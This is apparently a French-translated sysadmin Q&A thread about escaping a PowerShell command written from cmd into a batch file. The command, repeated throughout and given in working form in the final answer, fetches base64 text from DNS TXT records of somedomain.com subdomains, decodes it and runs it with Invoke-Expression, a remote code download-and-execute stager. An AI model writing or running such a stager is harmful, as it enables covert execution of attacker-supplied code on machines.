1 votes

Piping Set string et échappement dans CMD

J'essaie de le faire :

echo|set /P="powershell "$b64=""; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] };    
iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))" >> run.bat

mais continue à obtenir :

'ForEach-Object' is not recognized as an internal or external command, operable program or batch file.

J'ai essayé une variété d'évasions pour \" y ^" , ^| etc. mais je continue à obtenir les mêmes résultats.

0voto

DavidPostill Points 140654

ForEach-Object" n'est pas reconnu comme une commande interne ou externe,

Vous mélangez les commandes batch et les commandes PowerShell.

ForEach-Object est une commande PowerShell, elle doit donc être exécutée dans une fenêtre PowerShell ou dans un script PowerShell ( .ps1 ).


Ce que j'essaie de faire, c'est d'écrire un fichier batch qui lancera une commande powershell.

Vous compliquez trop les choses.

Rédigez vos commandes PowerShell dans un fichier script, par exemple myscript.ps1

Puis créez un fichier batch, run.cmd qui contient les éléments suivants :

PowerShell myscript.ps1

Simple et efficace.

0voto

postanote Points 3762

Quant à ...

Je suis heureux d'écrire un script powershell, mais cela doit être fait par un lot

... non, ce n'est pas le cas. Vous pouvez le faire dans n'importe quel éditeur de texte, comme vous pouvez le faire avec pratiquement n'importe quelle langue. Enfin, tant que vous ne recherchez pas un guidage assisté (aka IntelliSense) pendant que vous tapez/déboguez du code.

Il se peut qu'il faille l'appeler depuis un fichier .bat/.cmd. Vous confondez développement et exécution. Dev .ps1 est l'outil que vous voulez. C'est juste un fichier texte.

Vous ne pouvez pas exécuter un fichier .ps1 en mode natif à partir de cmd.exe sans appeler powershell.exe à partir du fichier bat.

cmd.exe n'a aucune idée de ce qu'est un .ps1 et ne l'exécutera pas, pas plus que Windows ne lancera automatiquement powershell.exe pour vous. Vous devez l'appeler explicitement. Il n'y a pas d'autre moyen, c'est voulu.

Tout éditeur de texte peut être utilisé pour les fichiers script. Le langage script que vous utilisez n'a pas d'importance. Pourtant, ne pas utiliser un véritable éditeur, signifie que vous devez rechercher manuellement les commandes, les noms, les paramètres, etc. en ligne.

En ce qui concerne ce que vous montrez, et entre parenthèses, ne mettez pas de code dans la section des commentaires, mettez à jour votre question en utilisant un formatage approprié afin qu'elle puisse être traitée plus facilement.

C'est du pur cmd.exe et bien sûr, cmd.exe va l'exécuter.

echo|set /P="$b64=""

Lorsque vous utilisez PowerShell, "echo" est un alias pour Write-Host et n'est pas vraiment nécessaire pour envoyer une sortie à l'écran, puisque la sortie à l'écran est la valeur par défaut de PowerShell, à moins que vous ne lui demandiez de faire autrement et que ce n'est pas la façon de définir des variables dans PowerShell. Il n'est pas du tout nécessaire d'utiliser echo|set /P. Vous avez juste besoin du nom de la variable...

$b64="" 

...avec toute valeur dont vous avez besoin dans les guillemets

PowerShell a réservé des caractères spéciaux, que le point-virgule est un terminateur qui signifie que tout ce qui se trouve à gauche et à droite du point-virgule sont des blocs de code complètement séparés et s'exécuteront indépendamment.

';' 

L'utilisation d'un point-virgule dans PowerShell avec du code sur la même ligne n'en fait pas un ONe-Liner, et n'envoie pas les résultats du côté gauche du point-virgule vers le côté droit, comme le fait le pipeline '|'.

Il s'agit d'envoyer un tableau/collection à une boucle PowerShell, sans jamais appeler PowerShell, et cela ne fonctionnera donc pas, point final. Encore une fois, comme cmd.exe n'a aucune idée de ce que sont ces trucs et que powershell.exe n'est pas en cours d'exécution, vous ne pouvez pas utiliser le code PowerShell.

Vous devez exécuter powershell.exe et lui transmettre tout cela sous la forme d'une chaîne de commande ou le faire enregistrer sous un fichier .ps1, puis lancer simplement powershell.exe et appeler le fichier .ps1. Il convient de noter que l'utilisation d'Invoke-Expression (iex) est une très mauvaise pratique. Il y a beaucoup d'articles sur les raisons pour lesquelles il ne faut pas l'utiliser, qui ont été publics, même directement de l'équipe PowerShell de MS depuis des années, avec même une discussion en 2018 pour le tuer complètement.

De l'équipe MS PowerShell

3 juin 2011

Invoke-Expression considérée comme nuisible

Alors, qu'est-ce qui ne va pas avec Invoke-Expression ?

  • Cela complique l'obtention du droit de citer
  • Cela rend plus difficile la maintenance de votre script.
  • C'est plus lent que les autres solutions
  • Et peut-être le pire de tout - cela ouvre un script aux attaques par injection de code.

Fournir des conseils sur les cas où il faut éviter/utiliser Invoke-Expression

Invoke-Expression est maléfique

Pourquoi Invoke-Expression est diabolique

(1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))" 

Ce...

powershell.ps1

...dit que vous essayez de construire une commande dans cmd.exe, qui contient du code PowerShell et d'enregistrer cette commande sous un .ps1. Cela vous fait travailler dur sans raison valable.

  1. Ouvrir le bloc-notes

  2. Copiez ceci dans un fichier notepad

    (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] } ; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace(' \t |"',"")))))"

  3. enregistrez-le en tant que SomeFileName.ps1

Ensuite, exécutez le script normalement, même en utilisant un fichier .bat/.cmd qui ne contiendra en réalité que deux lignes.

echo|set /P="$b64=""
powershell -file "D:\temp\test.ps1"

Sauvegardez-le en tant que .bat/.cmd, double-cliquez normalement pour l'exécuter.

Ou juste une ligne dans le fichier .bat/.cmd comme vous semblez le montrer dans le commentaire, de cette façon.

powershell.exe -noprofile echo|set /P="$b64=""; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|"',"")))))"

Il convient de noter que, de toute façon, cette commande n'est pas syntaxiquement correcte. Les citations ne sont pas toutes alignées. Si vous aviez utilisé un éditeur PowerShell, l'IntelliSense intégré vous l'aurait signalé. Chaque système Windows exécutant Windows PowerShell 2x ou supérieur dispose d'un éditeur PowerShell intégré, appelé powershell_ise.exe, dans le même dossier que powershell.exe. Il existe même des éditeurs PowewrSHell gratuits en ligne pour les scripts et le développement d'interfaces graphiques.

https://poshgui.com

Il n'y a donc vraiment aucune excuse pour ne pas utiliser un véritable éditeur PowerShell, sauf par choix.

Vous ne pouvez pas double-cliquer sur un .ps1 et espérer qu'il s'exécute. Par conception, les .ps1 ne sont vus/enregistrés que comme des fichiers texte, et comme indiqué, ils doivent être appelés explicitement via powershell.exe.

C'est aussi pourquoi les gens utilisent le fichier .bat/cmd pour lancer le .ps1.

Vous pouvez changer cela, mais en tant que meilleure pratique, ne le faites pas car cela peut conduire à des RPE (événements produisant une reprise). Très franchement, j'ai toujours considéré que les fichiers .bat/.cmd/.vbs devaient tous être configurés pour ne pas se lancer automatiquement en cas de double-clic, etc.

C'est le fait de cliquer deux fois ou une seule fois sur des choses qui entraîne tous les risques auxquels nous avons dû faire face pendant des décennies et à l'avenir.

Lisez-les ou regardez les vidéos sur Youtube sur le sujet.

Options de la ligne de commande PowerShell

https://docs.microsoft.com/en-us/powershell/scripting/components/console/powershell.exe-command-line-help?view=powershell-7

Invoquer un script PowerShell à partir de cmd.exe (ou Démarrer | Exécuter)

https://poshoholic.com/2007/09/27/invoking-a-powershell-script-de-cmdexe-ou-début-d'exécution

Comment faire : Exécuter un script PowerShell

https://ss64.com/ps/syntax-run.html

0voto

rusokiwi Points 11

J'ai réussi à le faire fonctionner à la fin La clé était les guillemets simples.

echo 'powershell "$b64=\"\"; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt \"$_.somedomain.com\")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64 -replace('\t|'\'",\"\")))))"' > C:\run.bat

SistemesEz.com

SystemesEZ est une communauté de sysadmins où vous pouvez résoudre vos problèmes et vos doutes. Vous pouvez consulter les questions des autres sysadmins, poser vos propres questions ou résoudre celles des autres.

Powered by:

X